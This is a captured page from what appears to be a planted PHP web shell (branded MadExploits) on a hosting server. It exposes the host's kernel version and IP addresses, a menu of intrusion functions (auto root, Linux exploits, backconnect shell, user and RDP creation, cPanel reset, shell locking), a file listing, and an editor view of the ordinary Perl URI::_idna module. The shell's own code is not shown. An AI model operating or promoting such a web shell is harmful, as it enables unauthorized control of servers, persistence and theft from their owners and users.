Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.15.148.203
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
file
[ DIR ]
drwxr-xr-x
urn
[ DIR ]
drwxr-xr-x
Escape.pm
6.49
KB
-rw-r--r--
Heuristic.pm
6.41
KB
-rw-r--r--
IRI.pm
769
B
-rw-r--r--
QueryParam.pm
4.47
KB
-rw-r--r--
Split.pm
2.3
KB
-rw-r--r--
URL.pm
5.4
KB
-rw-r--r--
WithBase.pm
3.74
KB
-rw-r--r--
_foreign.pm
75
B
-rw-r--r--
_generic.pm
5.63
KB
-rw-r--r--
_idna.pm
1.99
KB
-rw-r--r--
_ldap.pm
3.17
KB
-rw-r--r--
_login.pm
222
B
-rw-r--r--
_punycode.pm
4.52
KB
-rw-r--r--
_query.pm
2.39
KB
-rw-r--r--
_segment.pm
377
B
-rw-r--r--
_server.pm
3.62
KB
-rw-r--r--
_userpass.pm
977
B
-rw-r--r--
data.pm
3.28
KB
-rw-r--r--
file.pm
9.58
KB
-rw-r--r--
ftp.pm
1.03
KB
-rw-r--r--
gopher.pm
2.34
KB
-rw-r--r--
http.pm
405
B
-rw-r--r--
https.pm
107
B
-rw-r--r--
ldap.pm
2.9
KB
-rw-r--r--
ldapi.pm
460
B
-rw-r--r--
ldaps.pm
107
B
-rw-r--r--
mailto.pm
1.24
KB
-rw-r--r--
mms.pm
89
B
-rw-r--r--
news.pm
1.39
KB
-rw-r--r--
nntp.pm
91
B
-rw-r--r--
pop.pm
1.15
KB
-rw-r--r--
rlogin.pm
96
B
-rw-r--r--
rsync.pm
197
B
-rw-r--r--
rtsp.pm
89
B
-rw-r--r--
rtspu.pm
90
B
-rw-r--r--
sip.pm
1.72
KB
-rw-r--r--
sips.pm
105
B
-rw-r--r--
snews.pm
136
B
-rw-r--r--
ssh.pm
140
B
-rw-r--r--
telnet.pm
95
B
-rw-r--r--
tn3270.pm
95
B
-rw-r--r--
urn.pm
1.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _idna.pm
package URI::_idna; # This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep) # based on Python-2.6.4/Lib/encodings/idna.py use strict; use URI::_punycode qw(encode_punycode decode_punycode); use Carp qw(croak); BEGIN { *URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS = $] < 5.008_003 ? sub () { 1 } : sub () { 0 } ; } my $ASCII = qr/^[\x00-\x7F]*\z/; sub encode { my $idomain = shift; my @labels = split(/\./, $idomain, -1); my @last_empty; push(@last_empty, pop @labels) if @labels > 1 && $labels[-1] eq ""; for (@labels) { $_ = ToASCII($_); } return eval 'join(".", @labels, @last_empty)' if URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS; return join(".", @labels, @last_empty); } sub decode { my $domain = shift; return join(".", map ToUnicode($_), split(/\./, $domain, -1)) } sub nameprep { # XXX real implementation missing my $label = shift; $label = lc($label); return $label; } sub check_size { my $label = shift; croak "Label empty" if $label eq ""; croak "Label too long" if length($label) > 63; return $label; } sub ToASCII { my $label = shift; return check_size($label) if $label =~ $ASCII; # Step 2: nameprep $label = nameprep($label); # Step 3: UseSTD3ASCIIRules is false # Step 4: try ASCII again return check_size($label) if $label =~ $ASCII; # Step 5: Check ACE prefix if ($label =~ /^xn--/) { croak "Label starts with ACE prefix"; } # Step 6: Encode with PUNYCODE $label = encode_punycode($label); # Step 7: Prepend ACE prefix $label = "xn--$label"; # Step 8: Check size return check_size($label); } sub ToUnicode { my $label = shift; $label = nameprep($label) unless $label =~ $ASCII; return $label unless $label =~ /^xn--/; my $result = decode_punycode(substr($label, 4)); my $label2 = ToASCII($result); if (lc($label) ne $label2) { croak "IDNA does not round-trip: '\L$label\E' vs '$label2'"; } return $result; } 1;
Close
